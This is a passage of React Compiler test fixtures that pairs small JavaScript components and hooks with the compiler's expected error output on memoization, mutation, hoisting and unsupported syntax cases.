    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * When we validate preserving manual memoization we incorrectly reject this, because\n * the original memoization had `object` depending on `input` but our scope depends on\n * `value`.\n *\n * This fixture adds a later potential mutation, which extends the scope and should\n * fail validation. This confirms that even though we allow the dependency to diverge,\n * we still check that the output value is memoized.\n */\nfunction useInputValue(input) {\n  const object = React.useMemo(() => {\n    const {value} = transform(input);\n    return {value};\n  }, [input]);\n  mutate(object);\n  return object;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\nimport {identity, Stringify, useHook} from 'shared-runtime';\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * When we validate preserving manual memoization we incorrectly reject this, because\n * the original memoization had `object` depending on `input` but our scope depends on\n * `value`.\n */\nfunction useInputValue(input) {\n  // Conflate the `identity(input, x)` call with something outside the useMemo,\n  // to try and break memoization of `value`. This gets correctly flagged since\n  // the dependency is being mutated\n  let x = {};\n  useHook();\n  const object = React.useMemo(() => {\n    const {value} = identity(input, x);\n    return {value};\n  }, [input, x]);\n  return object;\n}\n\nfunction Component() {\n  return <Stringify value={useInputValue({value: 42}).value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.ts:25:13\n  23 |     const {value} = identity(input, x);\n  24 |     return {value};\n> 25 |   }, [input, x]);\n     |              ^ This dependency may be modified later\n  26 |   return object;\n  27 | }\n  28 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-mutated-dep.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\nimport {identity, Stringify, useHook} from 'shared-runtime';\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * When we validate preserving manual memoization we incorrectly reject this, because\n * the original memoization had `object` depending on `input` but our scope depends on\n * `value`.\n */\nfunction useInputValue(input) {\n  // Conflate the `identity(input, x)` call with something outside the useMemo,\n  // to try and break memoization of `value`. This gets correctly flagged since\n  // the dependency is being mutated\n  let x = {};\n  useHook();\n  const object = React.useMemo(() => {\n    const {value} = identity(input, x);\n    return {value};\n  }, [input, x]);\n  return object;\n}\n\nfunction Component() {\n  return <Stringify value={useInputValue({value: 42}).value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  const x = [];\n  return <div>{x}</div>;\n}\n/* eslint-enable react-hooks/rules-of-hooks */\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: lowercasecomponent,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.\n\nerror.sketchy-code-rules-of-hooks.ts:2:0\n  1 | // @validateExhaustiveMemoizationDependencies:false\n> 2 | /* eslint-disable react-hooks/rules-of-hooks */\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  3 | function lowercasecomponent() {\n  4 |   const x = [];\n  5 |   return <div>{x}</div>;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.sketchy-code-rules-of-hooks.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  const x = [];\n  return <div>{x}</div>;\n}\n/* eslint-enable react-hooks/rules-of-hooks */\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: lowercasecomponent,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.expect.md",
    "content": "\n## Input\n\n```javascript\nlet wat = {};\n\nfunction Foo() {\n  wat.test = 1;\n  return wat;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.store-property-in-global.ts:4:2\n  2 |\n  3 | function Foo() {\n> 4 |   wat.test = 1;\n    |   ^^^ value cannot be modified\n  5 |   return wat;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.store-property-in-global.js",
    "content": "let wat = {};\n\nfunction Foo() {\n  wat.test = 1;\n  return wat;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n\nfunction useHook(parentRef) {\n  // Some components accept a union of \"callback\" refs and ref objects, which\n  // we can't currently represent\n  const elementRef = useRef(null);\n  const handler = instance => {\n    elementRef.current = instance;\n    if (parentRef != null) {\n      if (typeof parentRef === 'function') {\n        // This call infers the type of `parentRef` as a function...\n        parentRef(instance);\n      } else {\n        // So this assignment fails since we don't know its a ref\n        parentRef.current = instance;\n      }\n    }\n  };\n  return handler;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8\n  13 |       } else {\n  14 |         // So this assignment fails since we don't know its a ref\n> 15 |         parentRef.current = instance;\n     |         ^^^^^^^^^ `parentRef` cannot be modified\n  16 |       }\n  17 |     }\n  18 |   };\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `parentRef` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:19:9\n  17 |     }\n  18 |   };\n> 19 |   return handler;\n     |          ^^^^^^^ This function may (indirectly) reassign or modify `parentRef` after render\n  20 | }\n  21 |\n\nerror.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8\n  13 |       } else {\n  14 |         // So this assignment fails since we don't know its a ref\n> 15 |         parentRef.current = instance;\n     |         ^^^^^^^^^ This modifies `parentRef`\n  16 |       }\n  17 |     }\n  18 |   };\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.js",
    "content": "// @validateRefAccessDuringRender\n\nfunction useHook(parentRef) {\n  // Some components accept a union of \"callback\" refs and ref objects, which\n  // we can't currently represent\n  const elementRef = useRef(null);\n  const handler = instance => {\n    elementRef.current = instance;\n    if (parentRef != null) {\n      if (typeof parentRef === 'function') {\n        // This call infers the type of `parentRef` as a function...\n        parentRef(instance);\n      } else {\n        // So this assignment fails since we don't know its a ref\n        parentRef.current = instance;\n      }\n    }\n  };\n  return handler;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.expect.md",
    "content": "\n## Input\n\n```javascript\nasync function Component({items}) {\n  const x = [];\n  for await (const item of items) {\n    x.push(item);\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerStatement) Handle for-await loops\n\nerror.todo-for-await-loops.ts:3:2\n  1 | async function Component({items}) {\n  2 |   const x = [];\n> 3 |   for await (const item of items) {\n    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 4 |     x.push(item);\n    | ^^^^^^^^^^^^^^^^^\n> 5 |   }\n    | ^^^^ (BuildHIR::lowerStatement) Handle for-await loops\n  6 |   return x;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-await-loops.js",
    "content": "async function Component({items}) {\n  const x = [];\n  for await (const item of items) {\n    x.push(item);\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const data = useHook();\n  const items = [];\n  // NOTE: `item` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  for (let key in props.data) {\n    key = key ?? null; // no-op reassignment to force a context variable\n    items.push(\n      <div key={key} onClick={() => data.set(key)}>\n        {key}\n      </div>\n    );\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{data: {a: 'a', b: true, c: 'hello'}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support non-trivial for..in inits\n\nerror.todo-for-in-loop-with-context-variable-iterator.ts:8:2\n   6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced\n   7 |   // within a closure, the `onClick` handler of each item\n>  8 |   for (let key in props.data) {\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  9 |     key = key ?? null; // no-op reassignment to force a context variable\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 10 |     items.push(\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 11 |       <div key={key} onClick={() => data.set(key)}>\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 12 |         {key}\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 13 |       </div>\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 14 |     );\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 15 |   }\n     | ^^^^ Support non-trivial for..in inits\n  16 |   return <div>{items}</div>;\n  17 | }\n  18 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-in-loop-with-context-variable-iterator.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const data = useHook();\n  const items = [];\n  // NOTE: `item` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  for (let key in props.data) {\n    key = key ?? null; // no-op reassignment to force a context variable\n    items.push(\n      <div key={key} onClick={() => data.set(key)}>\n        {key}\n      </div>\n    );\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{data: {a: 'a', b: true, c: 'hello'}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  const data = useIdentity(\n    new Map([\n      [0, 'value0'],\n      [1, 'value1'],\n    ])\n  );\n  const items = [];\n  // NOTE: `i` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  // TODO: for loops create a unique environment on each iteration, which means\n  // that if the iteration variable is only updated in the updater, the variable\n  // is effectively const within the body and the \"update\" acts more like\n  // a re-initialization than a reassignment.\n  // Until we model this \"new environment\" semantic, we allow this case to error\n  for (let i = MIN; i <= MAX; i += INCREMENT) {\n    items.push(\n      <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />\n    );\n  }\n  return <>{items}</>;\n}\n\nconst MIN = 0;\nconst MAX = 3;\nconst INCREMENT = 1;\n\nexport const FIXTURE_ENTRYPOINT = {\n  params: [],\n  fn: Component,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.todo-for-loop-with-context-variable-iterator.ts:18:30\n  16 |   // a re-initialization than a reassignment.\n  17 |   // Until we model this \"new environment\" semantic, we allow this case to error\n> 18 |   for (let i = MIN; i <= MAX; i += INCREMENT) {\n     |                               ^ `i` cannot be modified\n  19 |     items.push(\n  20 |       <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />\n  21 |     );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-loop-with-context-variable-iterator.js",
    "content": "import {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  const data = useIdentity(\n    new Map([\n      [0, 'value0'],\n      [1, 'value1'],\n    ])\n  );\n  const items = [];\n  // NOTE: `i` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  // TODO: for loops create a unique environment on each iteration, which means\n  // that if the iteration variable is only updated in the updater, the variable\n  // is effectively const within the body and the \"update\" acts more like\n  // a re-initialization than a reassignment.\n  // Until we model this \"new environment\" semantic, we allow this case to error\n  for (let i = MIN; i <= MAX; i += INCREMENT) {\n    items.push(\n      <Stringify key={i} onClick={() => data.get(i)} shouldInvokeFns={true} />\n    );\n  }\n  return <>{items}</>;\n}\n\nconst MIN = 0;\nconst MAX = 3;\nconst INCREMENT = 1;\n\nexport const FIXTURE_ENTRYPOINT = {\n  params: [],\n  fn: Component,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const data = useHook();\n  const items = [];\n  // NOTE: `item` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  for (let item of props.data) {\n    item = item ?? {}; // reassignment to force a context variable\n    items.push(\n      <div key={item.id} onClick={() => data.set(item)}>\n        {item.id}\n      </div>\n    );\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{data: [{id: '1'}, {id: '2'}]}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support non-trivial for..of inits\n\nerror.todo-for-of-loop-with-context-variable-iterator.ts:8:2\n   6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced\n   7 |   // within a closure, the `onClick` handler of each item\n>  8 |   for (let item of props.data) {\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  9 |     item = item ?? {}; // reassignment to force a context variable\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 10 |     items.push(\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 11 |       <div key={item.id} onClick={() => data.set(item)}>\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 12 |         {item.id}\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 13 |       </div>\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 14 |     );\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 15 |   }\n     | ^^^^ Support non-trivial for..of inits\n  16 |   return <div>{items}</div>;\n  17 | }\n  18 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-for-of-loop-with-context-variable-iterator.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const data = useHook();\n  const items = [];\n  // NOTE: `item` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  for (let item of props.data) {\n    item = item ?? {}; // reassignment to force a context variable\n    items.push(\n      <div key={item.id} onClick={() => data.set(item)}>\n        {item.id}\n      </div>\n    );\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{data: [{id: '1'}, {id: '2'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let callback = () => {\n    onClick = () => {};\n  };\n  let onClick;\n\n  return <div onClick={callback} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `onClick` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.todo-function-expression-references-later-variable-declaration.ts:3:4\n  1 | function Component() {\n  2 |   let callback = () => {\n> 3 |     onClick = () => {};\n    |     ^^^^^^^ Cannot reassign `onClick` after render completes\n  4 |   };\n  5 |   let onClick;\n  6 |\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `onClick` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.todo-function-expression-references-later-variable-declaration.ts:7:23\n  5 |   let onClick;\n  6 |\n> 7 |   return <div onClick={callback} />;\n    |                        ^^^^^^^^ This function may (indirectly) reassign or modify `onClick` after render\n  8 | }\n  9 |\n\nerror.todo-function-expression-references-later-variable-declaration.ts:3:4\n  1 | function Component() {\n  2 |   let callback = () => {\n> 3 |     onClick = () => {};\n    |     ^^^^^^^ This modifies `onClick`\n  4 |   };\n  5 |   let onClick;\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.js",
    "content": "function Component() {\n  let callback = () => {\n    onClick = () => {};\n  };\n  let onClick;\n\n  return <div onClick={callback} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Fixture currently fails with\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>{\"result\":{\"value\":2},\"fn\":{\"kind\":\"Function\",\"result\":{\"value\":2}},\"shouldInvokeFns\":true}</div>\n *   Forget:\n *   (kind: exception) bar is not a function\n */\nfunction Foo({value}) {\n  const result = bar();\n  function bar() {\n    return {value};\n  }\n  return <Stringify result={result} fn={bar} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 2}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: [PruneHoistedContexts] Rewrite hoisted function references\n\nerror.todo-functiondecl-hoisting.ts:12:17\n  10 |  */\n  11 | function Foo({value}) {\n> 12 |   const result = bar();\n     |                  ^^^ [PruneHoistedContexts] Rewrite hoisted function references\n  13 |   function bar() {\n  14 |     return {value};\n  15 |   }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-functiondecl-hoisting.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\n/**\n * Fixture currently fails with\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>{\"result\":{\"value\":2},\"fn\":{\"kind\":\"Function\",\"result\":{\"value\":2}},\"shouldInvokeFns\":true}</div>\n *   Forget:\n *   (kind: exception) bar is not a function\n */\nfunction Foo({value}) {\n  const result = bar();\n  function bar() {\n    return {value};\n  }\n  return <Stringify result={result} fn={bar} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {\n  let counter = 2;\n  const fn = () => {\n    return counter++;\n  };\n\n  return fn();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.\n\nerror.todo-handle-update-context-identifiers.ts:4:11\n  2 |   let counter = 2;\n  3 |   const fn = () => {\n> 4 |     return counter++;\n    |            ^^^^^^^^^ (BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.\n  5 |   };\n  6 |\n  7 |   return fn();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.js",
    "content": "function useFoo() {\n  let counter = 2;\n  const fn = () => {\n    return counter++;\n  };\n\n  return fn();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  return get2();\n  function get2() {\n    return 2;\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support functions with unreachable code that may contain hoisted declarations\n\nerror.todo-hoist-function-decls.ts:3:2\n  1 | function Component() {\n  2 |   return get2();\n> 3 |   function get2() {\n    |   ^^^^^^^^^^^^^^^^^\n> 4 |     return 2;\n    | ^^^^^^^^^^^^^\n> 5 |   }\n    | ^^^^ Support functions with unreachable code that may contain hoisted declarations\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.js",
    "content": "function Component() {\n  return get2();\n  function get2() {\n    return 2;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component() {\n  return <Foo />;\n\n  // This is unreachable from a control-flow perspective, but it gets hoisted\n  function Foo() {}\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> Foo$0.\n\nerror.todo-hoisted-function-in-unreachable-code.ts:3:10\n  1 | // @compilationMode:\"infer\"\n  2 | function Component() {\n> 3 |   return <Foo />;\n    |           ^^^ this is uninitialized\n  4 |\n  5 |   // This is unreachable from a control-flow perspective, but it gets hoisted\n  6 |   function Foo() {}\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component() {\n  return <Foo />;\n\n  // This is unreachable from a control-flow perspective, but it gets hoisted\n  function Foo() {}\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  function addOne(b) {\n    // a is undefined (only the declaration is hoisted, not the init) but shouldn't throw\n    return a + b;\n  }\n  const result = addOne(2);\n  var a = 1;\n\n  return result; // OK: returns NaN. The code is semantically wrong but technically correct\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n\nerror.todo-hoisting-simple-var-declaration.ts:7:2\n   5 |   }\n   6 |   const result = addOne(2);\n>  7 |   var a = 1;\n     |   ^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n   8 |\n   9 |   return result; // OK: returns NaN. The code is semantically wrong but technically correct\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.js",
    "content": "function hoisting() {\n  function addOne(b) {\n    // a is undefined (only the declaration is hoisted, not the init) but shouldn't throw\n    return a + b;\n  }\n  const result = addOne(2);\n  var a = 1;\n\n  return result; // OK: returns NaN. The code is semantically wrong but technically correct\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  const items = makeArray(0, 1, 2, null, 4, false, 6);\n  return useIdentity(...items.values());\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support spread syntax for hook arguments\n\nerror.todo-hook-call-spreads-mutable-iterator.ts:5:24\n  3 | function Component() {\n  4 |   const items = makeArray(0, 1, 2, null, 4, false, 6);\n> 5 |   return useIdentity(...items.values());\n    |                         ^^^^^^^^^^^^^^ Support spread syntax for hook arguments\n  6 | }\n  7 |\n  8 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.js",
    "content": "import {useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  const items = makeArray(0, 1, 2, null, 4, false, 6);\n  return useIdentity(...items.values());\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } finally {\n    console.log(el);\n  }\n  return el;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n\nerror.todo-invalid-jsx-in-catch-in-outer-try-with-finally.ts:6:2\n   4 | function Component(props) {\n   5 |   let el;\n>  6 |   try {\n     |   ^^^^^\n>  7 |     let value;\n     | ^^^^^^^^^^^^^^\n>  8 |     try {\n     | ^^^^^^^^^^^^^^\n>  9 |       value = identity(props.foo);\n     | ^^^^^^^^^^^^^^\n> 10 |     } catch {\n     | ^^^^^^^^^^^^^^\n> 11 |       el = <div value={value} />;\n     | ^^^^^^^^^^^^^^\n> 12 |     }\n     | ^^^^^^^^^^^^^^\n> 13 |   } finally {\n     | ^^^^^^^^^^^^^^\n> 14 |     console.log(el);\n     | ^^^^^^^^^^^^^^\n> 15 |   }\n     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n  16 |   return el;\n  17 | }\n  18 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js",
